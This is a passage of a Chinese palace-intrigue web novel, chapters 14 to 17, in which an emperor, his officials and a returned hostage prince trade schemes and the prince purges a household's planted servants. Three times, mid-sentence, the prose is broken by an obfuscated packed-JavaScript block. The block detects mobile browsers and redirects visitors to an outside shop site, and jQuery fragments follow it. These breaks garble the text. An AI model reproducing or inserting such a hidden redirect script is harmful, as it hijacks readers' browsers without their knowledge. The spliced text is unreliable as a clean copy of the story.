“我知道了,你退下吧。”他轻轻开口,声音里多了几分惫态。
书吏不敢多言,恭敬行礼,悄无声息地退了出去。
值房的门被轻轻合上。徐砚修收了笔,缓缓向后靠在椅背上,闭上双眼,手指用力按揉着紧蹙的眉心。
果然还是逃不过金銮殿那位的眼睛。
只是可惜了文信良的妻弟。
咚咚——
又是敲门声响起,还不等俆砚修开口,那人已经推门而入。
文信良抬头,便看见云喜缓缓向他走来。
“徐尚书。”云喜向俆砚修行礼,脸上带着长年累月练就的得体微笑。
俆砚修瞥见他脸上的笑意,心下略微一沉。他站起身,亦是牵起唇角,面上是滴水不漏的恭谨:“云公公亲自前来,可是陛下有旨意?”
云喜微微躬身,声音柔和:“陛下口谕。”
徐砚修敛容,正欲行礼,却被云喜伸手一拦。
“听闻文郎中受惊,朕心不安。着徐卿妥善处置,以定人心。”云喜向前半步,声音压得更低,“陛下还特意嘱咐,徐尚书操劳部务,已然辛苦。淮、克二州的陈年旧档,若是无关紧要,便不必再耗费其他人力翻阅了。”
云喜说的很慢,可以在“其他”二字上加重了语调。
俆砚修闻言,心头禁不住发出一声冷哼,面上却是不显,微微颔首:“请公公务必回禀陛下,臣定当谨遵圣谕,恪尽职守。”
“有尚书大人这句话,咱家便放心了。”云喜颔首,眼角细纹舒展,脸上带了些真挚的笑意,“陛下常说,满朝文武中,徐尚书最是沉稳持重,懂得顾全大局。”
他略一欠身,再次开口:“徐尚书,陛下跟前离不得人,咱家这便回去复命了。”
“公公慢走。”
云喜又向俆砚修点头行礼,这才退出了门去。
他关了门,缓缓向着皇城行去。
御书房内香烟袅袅,姜夔伏于桌案前,正在批阅奏折。案头的奏折堆积如山,左侧还未批阅,右侧批阅过的奏折也垒起了半尺高。
龙涎香弥漫房间,屋子里只有御笔落在奏折上的沙沙声。
云喜已经回来了。他悄无声息的走入御书房,挥手示意殿内伺候的众人退下。
待众人完全退下后,云喜这才小步来到姜夔身侧。
夔并未抬眸,只是盯着手里的奏折。
他执笔,在奏折上写下一行朱红色的小字,而后将奏折合上,放到了右边。接着,他放下笔,又从左侧拿起一本奏折,头也不抬道:“如何?”
“回陛下的话。”云喜恭谨开口,眼眸低垂,“王爷调了淮、克二州崇元九年至十一年的官员任职名录,想来应是看到了。”
“俆砚修这个老小子。”姜夔开口,目光落在手里的奏折上,发出一声冷笑,“十年了,还是放不下。”
“尚书府同谢府差点结为姻亲。”云喜适时开口,不由得有些唏嘘,“当年谢二公子死讯传来,徐小姐跳河自尽,谢家的旧案也就成了他的执念。”
“也是。”姜夔淡淡开口,声音多了几分捉摸不透的深意,“徐家丫头这一跳,倒是刚烈,也省了朕许多麻烦。”
说话间,殿外忽然响起一阵细微的骚动。一名宫人趋步而入,开口道:“陛下,皇后娘娘……”
还不等那人说完,姜夔脸色一沉,开口道:“不见。”
“陛下这是连我这老婆子也不见了。”
一道威严的女声自殿外传来,紧接着,一个年过花甲的老人拄着沉香木拐杖出现在御书房门口。
她穿着玄色缂丝凤纹常服,头戴赤金凤冠,最引人注目的是腕间那串紫褐色的沉香木念珠。大抵是因为经常在手中摩挲,每颗珠子都温润生光。
姜夔看到太后,心下微微一沉,急急起身迎了过去:“母后,您不是在太昭寺礼佛去了,下月才归,怎么提前回来了?”
“怎么?没有皇帝允许,哀家连这宫里都回不得了?”太后冷声开口,在萧月言的搀扶下寻了个最近的座椅坐下。
“母后说的哪里话?”姜夔眼底闪过一抹阴翳,面上依旧保持着得体的微笑,“儿子只是想着山路崎岖,担心累着母后。”
“你倒是个有孝心的。”太后嗤笑一声,手中的拐杖重重叩御书房的地板上,发出阵阵沉闷声响,“可你的这份孝心,怎么不知道用在正道上?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644784|188024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“母后这话,儿子倒是不明白了。”姜夔的目光似有似无的扫过萧月言,眸里寒意渐深,“莫非是有心人在母后耳边嚼舌根,平白离间我母子二人的情分?”
“皇帝不必打量皇后,是哀家自己要回来的。”太后自是察觉了姜夔的目光,再次开口,“皇帝既然要问,哀家便明说了。”
她的身体微微前倾,手腕佛珠摇晃碰撞,发出阵阵声响:“祖宗礼法在上,嫡庶有别,岂有嫡长子尚无名分,反倒先封庶子为王的道理?”
“母后息怒。您这话,实在是误会儿子了。”
“祖宗礼法,儿子一日不敢或忘。嫡庶尊卑,更是宫闱根本,儿子岂会不知?”姜夔语气诚恳,甚至带着几分推心置腹的意味,他叹了口气,略微停顿后,这才再次开口,“正因如此,我才对所有皇子一视同仁,慎之又慎。”
见太后要说话,姜夔继续开口:“儿子之所以先封望儿为王,并非因朕偏爱庶子,罔顾嫡庶。实在是当年……”
说着,姜夔顿了顿,声音里也染了几分哽咽:“他入燕时不过六岁,为了晟国在那苦寒之地十年,难道就因为他是庶子,便不能得到奖励?”
太后捻着佛珠的手指猛地收紧,骨节泛白。萧月言感觉到太后的身体的瞬间僵硬,她自己的心也沉了下去。
“皇帝此言,倒让哀家无地自容了。”太后的声音放缓了些,“望儿那孩子,当年受苦,哀家也心疼。赏,自然该赏。”
说完,她话锋一转,拐杖再次轻轻点地,声音又恢复了最初的凌厉:“但是,酬功之法那么多,金银田宅,奴仆仪仗,哪一样不能体现你的抚慰与恩赏?为何偏偏要选择先行封王,触碰这嫡庶根本的底线?”
“金银田宅,奴仆仪仗,这些东西他生来便有。”姜夔摇头。
“皇帝,你莫要混淆视听,顾左右而言他!”太后手中拐杖敲地,声音也拔高了几分,“对有功的庶子厚赏,哀家无话可说,但对无过之嫡子,你迟迟不予名分,这又是何道理?莫非他的存在,本身便碍了谁的眼?”
“母后若是这样说,那儿子也无话可说。”姜夔冷声开口,目光却落在了萧月言脸上。
萧月言只觉得那目光如有实质,压得她脊背生寒,连呼吸都困难起来。她下意识地想要低头避开,但想到自己那无名无分的孩儿,她又挺直了背脊,垂眸敛目。虽没与天子直视,却也没有显露出半分怯懦。
姜夔看着她,嘴角勾起一抹极淡的冷嘲。
“皇后。”姜夔开口,声音里带了些冷意,“母后身子一向不好,你身为六宫之主,不知道安心侍奉,反倒挑唆其中,引得母后对朕诸多误解……”
“皇帝!”太后厉声喝道,打断了姜夔的话,她将萧月言往自己身后拉了一把,继续道,“是哀家要她来的!与她何干?!皇帝若是要罚她,便连哀家一起罚了吧!”
说罢,她拉过萧月言,头也不回的离开了御书房。
“云喜。”等到太后和皇后的身影消失,姜夔这才扭头看向云喜,“既然俆砚修想借老七的手旧案翻查,那你便暗地协助几番。”
“但是,要注意尺度、拿捏分寸。”
“奴才谨记。”云喜深深叩首。
15.第十五章
雨已经停了,天际升起些许暖阳。大抵是因为下过雨正在化雪,空气中带着一股渗入骨髓的湿寒,反倒比前几日下雪时寒冷许多。
姜宁紧了紧身上的官袍,和诸多同僚一起下职。走出门的瞬间,呵出的气息凝成一团白雾。
“王爷。”
守候在礼部门口的沈别山迎上前来,身后还跟着十来个人。他们穿着统一的黑色劲装,倒是让姜宁有些摸不着头脑。
这一行人出现的太过突然,引得周遭官员纷纷侧目。
她看向沈别山,疑惑道:“沈统领这是?”
“奉陛下口谕。”沈别山开口,声如洪钟,“自今日起,卑职几人卸去御林军职,专职护卫王爷安全。”
“王爷”二字落入周遭众人的耳中,各个看向姜宁的目光变得热络起来。
姜宁对这些目光恍若未觉,正打算回乾清宫,却听沈别山再次开口:“端王府已经收拾完毕,王爷现下便可入住。陛下说,您劳苦一天,不必特意谢恩了。”
“我知道了。”
“殿下可是要直接回端王府?”
“回去换身衣服再出门吧。”姜宁开口,迈步向前行去,“我刚回晟,还未见识过京都的繁华。”
“是。”
沈别山开口,向后方勾手。
不多时,一辆马车从街角转出,稳稳停在姜宁前方。车身用料是上乘的乌木,形制却力求简朴,只在檐角窗棂处透出些许内敛的皇家气派,恰如其分地彰显着主人的非同寻常。
姜宁坦然登车,向着端王府所在的方向行去。
马车刚刚停下,姜宁便听见外边传来急促的脚步声。
姜宁掀开车帘,正看到柳窈娘从端王府门口向她迎来。
黑底金字的“端王府”三个大字威严肃穆,朱红色的大门泛着温润的光泽,门板上每一颗鎏金铜钉都闪烁着耀眼的金光。
门口的汉白玉石狮通体洁白无瑕,透着玉石本身的温润光泽。
一个年过半旬的老者站在门口。他穿着藏青色绸衫,头发梳得一丝不苟。
看见姜宁,他脚步微动,向着姜宁迎来。他身后跟着几个仆役丫鬟见状,也连忙垂首跟上,不敢超前。
老者走到姜宁面前,几乎是本能地想伸手去扶,却又在触及前一刻看到沈别山伸出的手。他探手的动作瞬间止住,只是深深躬下身去。
“王爷。”老者的声音带着一丝不易察觉的哽咽,看向姜宁的目光满是柔情,“老奴是端王府的管家,得陛下恩典,赐姓姜,单字一个丰。”
他报出这个名字时,语气里带着一种复杂的郑重,又像是想起了过去数十年的时光。
姜丰快抹了一把眼角,侧身让开道路:“府内一切均已备妥,请王爷移步。”
姜宁点头,就着沈别山的手走下马车。
“丰伯。”
只这么一个称呼,老者已经是泪流满面。
“王爷恕罪!”姜丰低头,迅速擦去眼角的泪水,哽咽开口,“老奴只是想到了陛下,心中感慨。”
姜宁不做多言,在姜丰的引领下向着王府内走去。
冷风掠过屋檐,送来淡淡梅香。在姜宁的带领下,她穿过千回百转的长廊,来到了姜夔曾居住的寝院。
院子里整洁干净,青石铺就得地面未见半分积雪,就连缝隙中的尘土都被仔细清扫过。院角的石灯、巨大梧桐树下的石凳,看起来都是一尘不染的模样。寒风凛冽,光秃秃的枝桠在风中舒展。
后苑的梅树探过围墙,飘来淡淡冷香。
姜宁走到那株梧桐树下。她禁不住伸出手,轻轻触碰那粗糙的树皮。指尖相触的刹那,传来木头特有的粗糙质感。
“王爷。”姜丰以为姜宁不喜欢院子里这株梧桐树,当即开口,“王爷若是不喜欢……”
“我很喜欢。”姜宁的手在树皮上反复摩挲,恍惚间,像是回到了燕国的那间小院。
她在燕国时,院子里也有一株巨大的梧桐树。她最常做的事,便是爬上梧桐树的枝丫坐下,遥遥看向晟国所在的方向,和那株梧桐树吐露心绪。
她收回手,将自己从过往中抽身,这才转头看向姜丰,淡淡开口:“改名为梧桐小院。”
“可……”姜丰下意识想要反驳,一抬头,却对上姜宁淡漠的目光,当即垂下头道,“是。”
姜宁在石凳坐下,目光扫过姜丰和他身后几人,开口道:“这端王府,如今就你们几个?”
“回王爷。”姜丰躬身,声音温和平静,“自陛下登基后,府上原本的旧人几乎都被内务府调往别处。如今留下的,除了老奴,还有厨娘张氏、花匠老周和他孙子、四个粗使丫鬟、两个门房。”
“没有其他人了?”
“还有的。”姜丰微微俯身,脸上的褶皱多了些许,“只是这些人鱼龙混杂,来历各异,老奴不敢做主。如今都在后院里,等王爷决断。”
恰在此时,一阵隐约的喧嚣顺着风从后院方向飘来,夹杂着几声哭嚷与尖利的呵斥。
姜宁站起身,掸了掸衣袖上并不存在的灰尘,缓缓开口:“丰伯带路,其他人各司其职。”
“是。”
姜丰不敢怠慢,示意众人退下后,这才带着姜宁往安置众人的院子走去。
越是靠近,吵闹声便越是明显。几个妇人的吵闹声夹杂着些许期期艾艾的哭声乱作一团,扰的姜宁头疼。
“住手!王爷驾到,尔等成何体统!”
姜丰带着姜宁来到院子,刚踏入院门,便看见前方几个妇人扭打在一起。其他人都各自站在一方,看着这场闹剧。
听到姜丰这声怒斥,方才还吵闹的众人登时安静,齐齐向着姜宁所在的方向跪下,高呼:“参见王爷。”
姜宁沉默着走到众人面前站定,神色冷冷的从众人身上掠过,淡淡开口:“都起来吧。”
话音刚落,下方跪着的人稀稀拉拉的站起。
一个小厮手脚麻利地搬来一张黄花梨木椅,小跑着放到姜宁身侧。他脸上堆满谄媚的笑,腰弯得极低,声音带着刻意的讨好:“王爷您请坐,这院子杂乱,莫要污了您的鞋袜。”
姜宁微微挑眉,径直在座椅坐下,开口道:“你倒是个伶俐的。”
她语气平淡,听不出褒贬。
那小厮闻言,脸上瞬间迸发出光彩,正要再表忠心,姜宁却已不再看他,再次把目光转向下方众人。
还不等姜宁说话,方才那跪在地上哭泣的女子又向着姜宁跪下高呼:“奴婢青雀,求王爷做主!”
姜宁端坐椅上,并未因她的突然举动而动怒,只是眸色更深了些。
“做主?”她的手敲击在扶手上,重复着这两个字,尾音微微上扬,带着一丝冰冷的玩味,“你要本王,如何为你做主?”
青雀豁然抬头,泪眼婆娑,我见犹怜。她微微垂头,露出姣好的侧脸轮廓,伸手指向旁边一个衣着略显体面的婆子道:“回王爷,是张嬷嬷!她仗着是皇后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16657280|188024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
娘娘宫里派来的人,强夺了奴婢娘亲留给奴婢的银簪!奴婢与她理论,她便纠集他人殴打奴婢,求王爷明鉴啊!”
被青雀指着的张嬷嬷脸色一变,慌忙跪下,辩解道:“王爷休听这贱婢胡说!那银簪是她自愿孝敬给老奴,求老奴照拂的!”
“你胡说!”青雀再次开口,声音又拔高了几分,“奴婢……”
“好了。”姜宁揉了揉眉心,打断两人的争执,转向一旁的姜丰道,“丰伯,你去将他们的名册取来,注明来历,以前的职务。”
“是。”姜丰得令,转身去取名册。
接着,姜宁指向身侧的柳窈娘,开口道:“这位是柳嬷嬷,以后王府的一切庶务,均由柳嬷嬷掌管。见她,如见本王。”
说完,她看向地上跪着的青雀和老妇:“待会儿,你们去找柳嬷嬷或者丰伯陈情。是非曲直,自有他们二人裁定。过错方,逐出王府。”
张嬷嬷还想要说些什么,一抬头,正对上姜宁微冷的目光,只得闭了嘴。
“你们背后的人费尽心思将你们送来王府着实不易。”姜宁淡淡开口,寻了个更舒服的坐姿,懒懒开口,“现在,名册还未取来,说说看,你们都是谁派来的人?”
随着姜宁的话音落下,下方一片死寂。
一片死寂中,青雀猛地抬起头。她脸上泪痕未干,眼神却透着一股豁出去的决绝。
她重重磕在地上,声音带着哭腔,却异常清晰:“王爷!奴婢先说!”
姜宁眉梢微不可察地一动,目光落在她身上,带着几分审视。
她未置一词,算是默许。
“奴婢青雀,原在皇后娘娘宫里当差。只是因为不懂规矩,未曾好生孝敬张嬷嬷,便被她行了个由头,丢去了浣衣局!”
青雀跪直了身子,额头因为方才那一磕肿起一个小包。
她死死盯着张嬷嬷,深吸一口气,再次开口:“奴婢并非哪位贵人指派,是张嬷嬷她阴魂不散,想要继续磋磨我,这才被内务府的人故意分了来。”
“王爷!您休要听这贱婢信口雌黄!她在宫中便是品行不端,冲撞贵人,偷盗东西,老奴是按宫规处置!”张嬷嬷脸色剧变,立即尖声反驳,“她如今怀恨在心,故意攀诬……”
“王爷!”青雀打断张嬷嬷的话,眼里恨意更浓,“张嬷嬷在宫里时,仗着自己是皇后娘娘的人,便拉拢结派,克扣用度,众人敢怒不敢言。奴婢人微言轻,但所言句句属实,愿受任何查证!”
张嬷嬷气得浑身发抖,指着青雀,对姜宁道:“王爷!您万不可听信这贱婢一面之词!她这是构陷!老奴侍奉皇后娘娘多年,谨守本分,天地可鉴!”
“你们俩,将张嬷嬷拖去柴房关押。”姜宁抬手指了指方才那有眼色的小厮,又指了指他身旁站着的小厮,神色淡淡,“本王府中,绝不能有此种不知所谓的人。”
张嬷嬷被两个小厮捂嘴拖走,下方众人惶恐万分,头垂得又低了几分。
“青雀。”姜宁看也不看那被拖走的张嬷嬷,目光落在了青雀身上。
“奴婢在。”青雀恭声答。
“你很懂得把握时机,也明白孤掷一注,我很喜欢。”说完,姜宁站起身,“以后,你便跟在柳嬷嬷身边,协助她处理王府庶务。”
“不过……”姜宁话锋一转,声音冷了几分,“若查实你说的假话,那本王也不会轻饶。”
“是!”青雀脸色一喜,再次重重向着姜宁一叩,“奴婢多谢王爷!”
16.第十六章
姜宁将清点人员的任务留给了姜丰和青雀,换了身常服后,便带着柳窈娘出了王府,沈别山也随行跟上。
她并没有坐马车,只是用脚丈量着这片熟悉又陌生的土地。
长街两侧,小贩们正在做今日最后的营生。
卖馄饨的锅里冒着滚滚白气,那汉子一边搅动着锅里的汤水,一边高声吆喝。
卖糖人的老头就着灯笼的微光,手法娴熟地捏出一只活灵活现的兔子,引得三两个还没归家的孩童围在一旁叽叽喳喳。
三人穿过渐次亮起的灯笼光影,空气里食物香气混杂着尘土味,还有晚风吹来的淡淡花香。孩童的嬉闹声穿过炊烟,与商贩们的叫卖声响成一片。
等三人行至晟京城里最有名的天味楼时已经是戌初了。
天色已晚,酒楼大堂仍人满为患。
跑堂的小二见姜宁气度不凡,不敢怠慢,急忙迎了上来,殷切道:“客官!楼上请!”
“一间安静的隔间,一壶清茶,几样你们这里的招牌茶点。”柳窈娘代为吩咐,声音平稳,顺手递过一小块碎银。
小二接过碎银,脸上笑容更盛,殷勤地将三人引至二楼一处雅间。
这里临窗可见街道流转的灯火,却又位于转角僻静处,厚重的门帘落下,便恰到好处地隔绝了大堂的鼎沸人声。
不多时,小二去而复返,手脚利落地布好一壶碧色清茶与四碟精巧茶点,随后便识趣地垂首退下,轻轻带上了门。
沈别山无声地移至门边,身形笔挺,目光低垂,不知在想些什么。
柳窈娘执起桌上的白瓷壶,为姜宁斟满茶汤。茶香袅袅,在静默的雅间里无声弥漫。
姜宁扭头,目光落在窗外的灯火上。
晟京的夜色繁华而又陌生,与她记忆中北燕的苍茫风雪恍如隔世。
其实也不是北燕没有这样的夜色,只是她被困于北燕王庭,没有随意外出的自由罢了。
如今,她坐在这故国最繁华的酒楼,窗外也是她从未见过的景象。
姜宁收回目光,轻啜了一口茶。
指尖触碰到的茶杯温热真实,她所能拥有的短暂真实,也不过只是此刻。
那时她以为回来就是自由,如今想来,王府不过是另一重高墙,晟京也只是另一个北燕王庭。对于她来说,晟国或许比北燕更加危险。
唯一不同的,是她身边,多了一个母亲。
这个在深宫中沉默憔悴了十余年的女人,是她与这片故土之间,唯一真实且脆弱的联结。她漂泊了十年的那颗心,似乎也因此有了一个具体的落点。
这个认知让她冰冷的指尖回暖了一丝。
姜宁垂下头,手指在杯沿反复摩挲,心里开始盘算如何同谢流取得联系。
昨日李崇弹劾她和谢流,若是贸然拜访,恐怕会惹人揣测。更何况,如今她身边还跟着一个沈别山,这明显是父皇派来监视她的人。
可聂荣的事情,绝对同淮水之战有关。
这时候,她才惊觉,离了昭宁,她能用的人,竟是一个也没有。
不过,这只是开始。
“沈统领。”姜宁突然开口,眸光落在了沈别山的身上,“从御林军统领变成我的护卫长,委屈你了。”
“卑职如今不是御林军统领,王爷唤我名字便是。”沈别山拱手行礼,身姿挺拔如松,“护卫王爷是卑职的荣幸,不敢言屈。”
“怎么不委屈?你本是御林军统领,天子近卫,前途无量。而我这里……”姜宁顿了顿,从鼻腔发出一声冷哼,“不过是风暴将起前的漩涡中心。”
“陛下是看重王爷的。”沈别山答。
“是啊,让我走东华门,住乾清宫,封我为端王,还让御林军大统领做我的近卫,真是无上荣宠。”姜宁冷笑开口,目光落在下方来往的人群之上。
沈别山看着姜宁的侧脸,久久没有说话。
蓦然间,他想起来第一次见到这个瘦弱少年的时候。
那时他奉陛下命前去边境。
陛下说:“若有人刺杀,不必出手。他若不能活下来,那就是他的命。”
那天,这位王爷不仅活了下来,还当着他的面杀了同行的那位嬷嬷。
太和殿上的事他也有所耳闻,可他却不信天底下有这么巧合的事。
不过话说回来,陛下也确实看重这位王爷。不然为何会让他千里奔赴,又为何会让他护卫在他身边。
想到这里,沈别山开口:“漩涡之中,确实险象环生。”
沈别山顿了顿,每一个字都吐得清晰而缓慢:“但真正的风暴眼,往往最是平静。立在其中,反而能看清四周云涌。”
“沈别山。”姜宁唤了一声,转过头,再次看向着沈别山,“你是选择站在这个‘眼’里,还是选择站在岸边?”
沈别山迎着姜宁的目光,身形依旧挺拔如松。
“卑职只是陈述一个事实。至于站在何处……”他微微停顿,声音低沉,“取决于陛下让卑职站在何处。”
这回答,还真是滴水不漏。
“好一个‘取决于陛下’。”姜宁唇角上扬,挑起一个轻蔑的弧度,声音听不出喜怒,“沈统领时刻不忘圣心,实乃臣子楷模。”
她低头,端起桌上的白瓷茶盏。一口饮尽后,她将那茶盏在手中反复把玩。
“那么……”姜宁手里动作不停,看向沈别山的眼里带了几分难得的笑意,“沈统领以为,陛下是希望看到一个在漩涡中挣扎力竭的皇子,还是一个能摧毁风暴、甚至成为风暴的皇子?”
沈别山沉默着,久久没有说话。
他看着姜宁手中那只被反复摩挲的白瓷茶盏。茶盏釉色温润,看起来是上等好瓷,如今却在姜宁指尖随意翻转把玩,仿佛下一刻就会被捏碎。
“陛下之心,浩瀚似海。卑职一介武夫,不懂陛下深意。”在漫长的静默后,沈别山终于开口,声音比方才又低沉了几分,“卑职只知道,风暴过境,万物凋零。无论最终站着的是谁,脚下都已是一片狼藉。”
姜宁沉默着,没有答话。
她的目光从沈别山脸上移开,又落在了窗外的人潮上。
许久,她极轻地笑了一声,带着一种难以言喻的疲惫与讥诮。
“风暴过境,万物凋零。”姜宁重复着这几个字,声音里满是苦涩,“沈统领你看这下方的人群,为了生活奔走。无需风暴,就会被轻易碾碎。”
似乎是为了映证她的话,下方突然爆发出尖叫声。紧接着,人群便向着一个地方团团围去。
沈别山眼神一凛,几步跨到窗边,右手下意识按在了刀柄上。
柳窈娘上前两步,将姜宁挡在身后。
姜宁看着沈别山和柳窈娘下意识护在她身前背影,眼中闪过一丝极其复杂的情绪。
“距离太远,看不清。”姜宁淡淡开口,转身便向着门外走去。
这是天赐的机会,她必须要把握住。
“王爷。”
柳窈娘开口,想要阻拦。可姜宁的动作极快,不过片刻的功夫便已经推门走了出去。
沈别山吩咐柳窈娘在酒楼等候,一个闪身便
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16675415|188024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从窗户跳了出去。
初时,他还能看到姜宁的身影。可人潮拥挤,不过一会儿,沈别山便失去了姜宁的踪迹。
姜宁随着人群走动,经过一个卖杂货的摊位前时。她将一块碎银扔出,顺手抄起一张狐狸面具覆在脸上。
她没有试图挤进核心,只是跟随人群无意识的向前走,目光扫过周遭,不住打量。不多时,一个衣衫褴褛、正拼命想往里钻看热闹的小乞儿撞入了她的视线。
姜宁奋力向着那乞儿挤去。等她挤到乞儿身旁,她出手如电,一把扣住那小乞儿瘦削的胳膊。
乞儿受惊回头,刚要叫骂,却见白皙的手掌摊开,一锭足色的雪花银晃花了他的眼。
“想赚这银子么?”面具下传出的声音压得很低,“去给谢将军本人传句话,这银子就是你的。”
乞儿看着那锭银子,喉头剧烈地滚动了一下,看热闹的心思瞬间被这巨大的诱惑冲得烟消云散。他一把抓过银子,紧紧攥在手心,像是怕对方反悔,急急抬头:“要说什么?”
姜宁俯身,在他耳边快速低语了几句。
乞儿用力点头,转身像泥鳅一样钻入人群,瞬间不见了踪影。
姜宁随手将手里的狐狸面具递给一个孩童,转身想要离开,却怎么都挤不出去,只能被人群裹挟着前进。
无意识的走了一会儿,手腕突然被人扣住。姜宁顺着那只手看去,正看见沈别山的脸。
有了沈别山的开道,前行的路变得顺畅了许多。
一通折腾后,沈别山带着姜宁回到了天味楼门口,心急如焚的柳窈娘立马迎了上来。
柳窈娘快速扫视姜宁周身,见其无恙,紧绷的心弦才微微一松,低声道:“王爷,您没事就好。”
姜宁冲她笑笑,示意她安心,这才看向那人潮涌动方向,开口道:“这晟京城里果然热闹,我挤了许久,竟都未能凑上热闹。”
说完,她转向柳窈娘和沈别山:“算了,我们回去吧。”
说完,她又再次迈步,向着端王府所在的方向行去。
回了端王府,姜丰和青雀已经将所有人清点完毕,等待着姜宁的决断。
姜宁接过姜丰递来的名册,发现上面已经按照她的要求标注完毕。不仅写了这些人的姓名,也写了这些人是谁送来的,又各自擅长什么。
姜宁的目光在名册上一扫而过,把手里的名册还给姜丰,开口道:“除了母妃和舅舅的人,其他人各留几个,剩下的,打发回去吧。”
“是。”姜丰恭声开口。
“对了。”姜宁再次开口,目光落在青雀身上,恍若无意道,“丰伯,张嬷嬷和青雀的事可调查清楚了?”
“回王爷话,已经查证清楚。”姜丰开口,派人将张嬷嬷提了上来,“青雀姑娘所言乃是事实。”
“既如此……”姜宁看向跪在下方,如今被塞住嘴的张嬷嬷,冷冷开口,“便杖杀处理,免得污了皇后娘娘贤名。”
随着姜宁的话音落下,院内刮起一道冷风。
张嬷嬷的瞳孔骤然放大,喉咙里发出模糊不明的声响。
姜宁看也不看她,再次开口:“丰伯,柳嬷嬷,这里就交给你们二人和青雀处理了,我去书房。”
说完,她一甩衣袖,向着端王府的书房行去。
“是。”
等姜宁走了之后,姜丰将名册递给姜宁留下的柳窈娘,开口道:“柳嬷嬷,您是王爷的人,最懂王爷的心思。这些人的去留,便全权交由柳嬷嬷处理了。”
说完,他向着姜宁方才所说的书房追去。
17.第十七章
姜丰来到书房的时候,姜宁正在看书。
屋内烛火摇曳,勾勒出姜宁略显得尖削的下巴。
听到动静,她自书卷中抬首,同姜丰四目相对,温声道:“丰伯,有什么事?”
“王爷。”姜丰静默片刻,收回目光,低眉向着姜宁拱手,开口道,“王爷既知张嬷嬷是皇后宫中之人,又何必……”
“一味的退让,只会让他们觉得我柔弱可欺。”姜宁放下书卷,烛光在她眼中跳动,冷冽如冰,“正因她是皇后的人,才非杀不可。”
随着姜宁的话音落下,书房里的温度仿佛都冷了几分。
“老奴明白王爷是在立威。”姜丰闻言,眉头皱得更深,“只是王爷刚从燕地归来,被陛下看重。如此一遭,岂不是将现成的把柄递给萧家?”
姜宁闻言,唇角冷意更甚。
姜宁拿起桌上的书卷,右手无意识叩击在桌上,发出沉闷声响:“大皇兄乃中宫嫡出,如今三十有二,既无开府之权,亦无亲王之封,而我不过贵妃之子,却因入燕为质一事得封‘端王’。”
烛火跳跃,打在她的脸上,将她的半张脸都笼在阴影中。
“我母妃圣眷不衰,舅舅封王。”她唇边噙着一抹极淡的笑,眼底却无半分暖意,“这般处境,即便我不对那人出手,难道萧家就会放过我了吗?”
“树欲静而风不止。”她倏然收指,将书卷轻轻按在案上。
“父皇既已把我推至桌前,我为人子,又为人臣,又岂有不执子落棋之理?”
姜丰望着烛光下少年清瘦却挺直的脊背,恍惚间仿佛看见了当年还是端王时在朝堂上纵横捭阖的陛下。
他深深吸了口气,终是躬身长揖:“老奴愚钝。王爷既想要做执棋人,老奴这身老骨头,自当誓死相随。”
姜宁看着下方的姜丰,没有再说话。
她挥了挥手,示意姜丰退下,又看了一会书,这才回了寝殿休息。
一夜好眠。
翌日,她按时点卯后便入了自己的隔间。
仪制司内人心惶惶,众人昨夜听说了文信良妻弟被杀的消息,又知晓了姜宁的身份,各个目光都不由自主的向姜宁的小房间看去。
笃笃——
敲门声响起,推门而入的却是礼部尚书俆砚修。
姜宁起身,向着俆砚修拱手:“徐尚书。”
俆砚修关了门,看向姜宁的目光满是打量。片刻后,他收回目光,随意寻了个座椅坐下,开门见山道:“我听下面人说,王爷昨日调取了淮、克二州崇元九年至十一年间官员的任职名录?”
姜宁目光一闪,面上浮起恰到好处的闲适,仿佛只是在谈论一件无足轻重的小事:“不过是偶然翻阅,见其中有些记录颇为有趣。也不知是何人有意无意置于案头,一时兴起,便多看了两眼。”
“哦?不知是什么有趣的东西,能让王爷如此上心,竟从吏部调阅了整整三年的名册?”俆砚修开口,面上没什么表情,“老夫身为礼部尚书,对官员升迁调任也算熟知,或可为王爷解惑。”
姜宁看向俆砚修,唇角微微扬起。
看来,将书册放在她桌上的人,正是眼前的这位尚书大人。
“不过是些陈年旧档,看到了一个有趣的名字,也发现了一些有趣的事。”姜宁站起身,给俆砚修倒了一杯茶,坐在了俆砚修身侧,“徐尚书不来找我,我也是要去找徐尚书的。”
俆砚修笑笑,端起桌上的茶水:“王爷请讲。”
“说来也是碰巧。”姜宁开口,轻啜了一口茶,“我离晟之时,护卫我的侍卫长有个叫聂荣的胞弟。他说他那胞弟入朝为官,英年早逝,于崇元九年身死。可我却看到他任职克州,崇元十年考绩平稳。”
“我调取了克州名录,发现他是崇元十年自淮州平调克州。”
“我又调取了淮州名录,却发现他果然在崇元九年九月十七便身故了。”
“一个崇元九年九月十七便死了的聂荣,如何能在次年死而复生,平调克州,还考绩平稳?”姜宁放下手中的茶盏,白瓷底与紫檀桌面相触,发出清脆的声响。
